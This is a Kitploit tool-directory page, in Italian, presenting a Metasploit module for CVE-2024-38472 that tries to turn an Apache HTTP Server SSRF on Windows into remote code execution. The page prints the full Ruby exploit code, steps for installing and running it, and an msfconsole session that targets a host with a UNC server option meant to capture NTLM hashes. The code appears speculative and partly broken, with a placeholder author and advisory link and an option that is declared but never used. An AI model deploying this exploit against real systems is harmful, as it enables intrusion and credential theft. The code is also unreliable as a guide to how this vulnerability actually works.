Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-38472 — Modulo Metasploit che sfrutta CVE-2024-38472 SSRF in Apache HTTP Server su Windows per ottenere l'esecuzione di codice in remoto tramite interazione con servizi interni. | Kitploit
Strumenti/GitHubGitHub/abdurahmon3236/cve-2024-38472
Frameworks per Penetration TestingFramework di ExploitAnalisi delle VulnerabilitàMovimento LateraleSfruttamento di Applicazioni WebPost-ExploitCommand and ControlRed TeamingSviluppo Payload
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

Modulo Metasploit che sfrutta CVE-2024-38472 SSRF in Apache HTTP Server su Windows per ottenere l'esecuzione di codice in remoto tramite interazione con servizi interni.

42 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Creare un modulo Metasploit per l'esecuzione remota di codice (RCE) per la vulnerabilità SSRF (CVE-2024-38472) in Apache HTTP Server su Windows è impegnativo perché SSRF di per sé non porta direttamente a RCE. Tuttavia, SSRF può spesso essere un passo verso il raggiungimento di RCE, specialmente se lo si può utilizzare per interagire con servizi interni o innescare una vulnerabilità secondaria.

Strategia per RCE tramite SSRF

Per ottenere RCE tramite SSRF, in generale avremmo bisogno di:

  1. Un servizio interno vulnerabile a un attacco specifico che può essere sfruttato tramite SSRF.
  2. Una configurazione errata o una vulnerabilità aggiuntiva che consente l'esecuzione di codice arbitrario.

Per questo esempio, supponiamo di poter attivare un servizio secondario internamente che accetta richieste HTTP e può essere indotto a eseguire codice arbitrario (come un server Jenkins o un altro servizio con un'API esposta).

Esempio di modulo Metasploit

Creeremo un modulo Metasploit che tenta di ottenere RCE sfruttando SSRF per interagire con un servizio interno. In questo caso, simuleremo un server Jenkins interno con una console di script esposta che possiamo abusare per RCE.

Salva il seguente codice come apache_unc_ssrf_rce.rb nella directory modules/exploits/multi/http della tua installazione di Metasploit Framework.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

Istruzioni per l'uso

  1. Salva il modulo:
    Salva il modulo come apache_unc_ssrf_rce.rb nella directory modules/exploits/multi/http della tua installazione di Metasploit Framework.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Carica Metasploit:
    Avvia Metasploit Framework aprendo un terminale ed eseguendo:

    root@kitploit:~
    msfconsole
    
  3. Usa il nuovo modulo:
    Nella console di Metasploit, carica il nuovo modulo exploit usando il seguente comando:

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. Configura ed esegui:
    Imposta le opzioni necessarie, come RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE e CMD. Quindi esegui il modulo.

Considerazioni importanti

  • Assicurati di avere i permessi appropriati prima di testare o sfruttare qualsiasi sistema.
  • Questo modulo è progettato per scopi educativi e di test. Testalo sempre in un ambiente sicuro e controllato prima di utilizzarlo su sistemi di produzione.

Questo modulo Metasploit migliorato invia una richiesta appositamente progettata al server Apache HTTP vulnerabile su Windows, tentando di attivare la vulnerabilità SSRF e sfruttarla per ottenere RCE interagendo con un servizio interno. Regola il payload e il modulo secondo necessità in base alla natura specifica della vulnerabilità e all'ambiente di destinazione.

Scarica lo strumento
root@kitploit:~
msf6 > use exploit/multi/http/apache_unc_ssrf_rce
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
UNC_SERVER => \\attacker-server\share
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
INTERNAL_SERVICE => http://internal-service/script
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
CMD => calc.exe
msf6 exploit(multi/http/apache_unc_ssrf_rce) > run